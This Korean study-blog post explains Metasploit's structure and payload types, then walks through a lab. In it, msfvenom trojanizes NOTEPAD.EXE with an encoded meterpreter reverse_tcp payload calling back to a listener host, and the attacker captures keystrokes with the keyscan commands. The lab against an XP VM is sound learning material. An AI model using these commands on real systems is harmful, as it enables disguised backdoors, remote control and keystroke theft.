보안 / 개발 챌린저가 목표

Metasploit 본문

IT Security/Web hacking Study

Metasploit

햄미은서 2020. 11. 10. 23:04

▶ Metasploit

  - 해킹이나 보안 취약점 분석에 많이 쓰이며, 실제 보안 취약점 테스트를 위해 H.D. 무어에 의해 개발되었다.

  - Exploit(취약점)과 관련된 모든 메타 데이터를 관리하는 프레임워크.

 

메타스플로잇의 주요 공격 기법

 

  - 방대한 취약점 DB를 이용하여 악성 코드를 작성하여 배포한다.

  - 취약점이 노출된 시스템은 악성 코드로 침입자에게 접근권한을 주고 침입자는 시스템에 접속하여 장악하게 된다.

▽ 구성

메타스플로잇 구조

 

  💡 Library - 개발에 필요한 API와 기본 클래스 등을 제공.

메타스플로잇 라이브러리

  💡 Interface - 메타스플로잇에 대한 사용자 인터페이스를 제공.

메타스플로잇 인터페이스

  💡 Module - 다양한 공격 형태의 기본 프로그램을 제공.

메타스플로잇 모듈

▼ 기능

  - Metasploit의 핵심 기능인 Payload의 주요 7가지 기능

 

  1️⃣ VNC 인젝션

   - VNC 인젝션 페이로드는 작은 VNC 서버를 윈도우 시스템에 보내고 나서, 목표 시스템의 VNC 서버에 접속하는 방식.

   - 이 기능은 목표 시스템의 전체 GUI 화면을 보여줌.

   - 단점은 사용자가 시스템을 사용 중일 때 바로 문제가 있음을 알아차릴 수 있다는 것.

    * VNC(Virtual Network Computing, 가상 네트워크 컴퓨팅) : 컴퓨터 환경에서 RFB 프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템.

 

  2️⃣ 파일 실행

   - 파일 실행 페이로드는 목표 시스템에 공격 파일을 업로드함.

   - 업로드된 파일은 목표 시스템 접근을 위한 공격자의 백도어나 루트킷으로 사용됨.

    * Backdoor(백도어) : 일반적인 인증 통과와 원격 접속을 보장하고 평문에의 접근을 취득하는 등의 행동을 들키지 않고 행하는 방법. 설치된 프로그램의 형태를 취하기도 하고, 기존 프로그램 또는 하드웨어의 변형일 수도 있음.

    *RootKit(루트킷) : 컴퓨터 소프트웨어 중에서 악의적인 것들의 모음으로써, 자신의 또는 다른 소프트웨어의 존재를 가림과 동시에 허가되지 않은 컴퓨터나 소프트웨어의 영역에 접근할 수 있게 하는 용도로 설계됨.

 

  3️⃣ 대화형 셸

   - 대화형 셸 페이로드는 공격자에게 목표 시스템의 셸을 제공.

   - 윈도우 시스템이면 DOS를 제공.

   - 리눅스나 유닉스에서 해당 공격은 전체 접근권한을 준 것과 다름 없이 매우 막강함.

 

  4️⃣ 명령어 실행

   - 명령어 실행 페이로드는 목표 시스템에 명령어를 실행.

   - 별도의 상호작용 없이 명령어를 실행시키면서 여러 다른 공격을 섞어 실행.

 

  5️⃣ DLL 인젝션

   - DLL 인젝션은 목표 시스템에서 실행 중인 익스플로잇 애플리케이션에 공격자 DLL을 추가하는 방법.

   - 공격자는 자신이 원하는 코드를 집어넣을 수 있는데, VNC 인젝션도 이 방법을 사용.

 

  6️⃣ 사용자 추가

   - 사용자 추가 페이로드는 목표 시스템에 새로운 사용자를 생성.

   - 사용자가 생성되면 공격자는 원격 실행을 통해 시스템에 접근할 수 있음.

   - 리눅스에서는 사용자가 root 권한을 얻을 수 있고, 윈도우에서는 Administrator 그룹에 포함될 수 있음.

 

  7️⃣ Meterpreter

   - 미터프리터 페이로드는 스위스 군용칼과 같은 만능 도구.

   - 목표 시스템의 정보 출력, 프로세스 조정, 화면 캡처 등 많은 기능을 제공.

   - 한 마디로 시스템을 마음대로 다룰 수 있는 매우 강력한 도구.

▽ 실습

  - 코드는 일반 실행 파일을 이용.

  - 목표 시스템 접근은 reverse_tcp 페이로드를 사용.

메타스플로잇 실습 과정

  💡 Reverse TCP 란?

   - 공격자가 목표 시스템으로부터 연결을 받는 것.

   - 악성 코드 등의 실행을 통해 사용자가 공격자가 유도한 시스템으로 접속하는 것.

   - 반대 개념은 Bind TCP.

   - 가장 많이 쓰이는 일반적인 기법이며 쉽게 작성 가능.

   - 다만, 방화벽이나 IDS, IPS 등의 보안 장비에 의해 탐지가 되면 연결이 막힘.    

 

  ✔ 실행 파일을 통한 Payload 실습

   ① XP의 windows/NOTEPAD.EXE를 Kali의 바탕화면으로 복사.

   ② 역방향 DLL 인젝션 페이로드를 통해 미터프리터 서버 DLL을 인젝션 하기.

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.135 -f exe -x 바탕화면/NOTEPAD.EXE -k -e x86/shikata_ga_nai -i 3 -o 바탕화면/NOTEPAD_mal.EXE

    - Kali 콘솔에서 위의 명령으로 NOTEPAD_mal.EXE 페이로드를 생성.

msfvenom을 이용한 payload 생성

   ③ NOTEPAD_mal.EXE 파일을 XP 바탕화면에 놓기.

원본 NOTEPAD와 변조된 NOTEPAD 비교

   ④ Kali msfconsole로 들어가 명령 내리기.

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.135

exploit

msf 리스너 구동 화면

   ⑤ XP 화면에서 NOTEPAD_mal.EXE를 실행. 실행하는 순간 세션이 맺어지며 미터프리터로 넘어가는 것 확인 가능.

세션 연결

   ⑥ 키 스니핑 실행과 멈춤. keyscan_startkeyscan_dump, keyscan_stop 사용.

미터프리터를 이용한 키 스니핑

 

'IT Security > Web hacking Study' 카테고리의 다른 글

CSRF  (0) 2020.11.19
HTML Injection  (0) 2020.11.10
Scan  (0) 2020.10.27
LFI & RFI  (0) 2020.10.15
SQL Injection  (0) 2020.10.15
Comments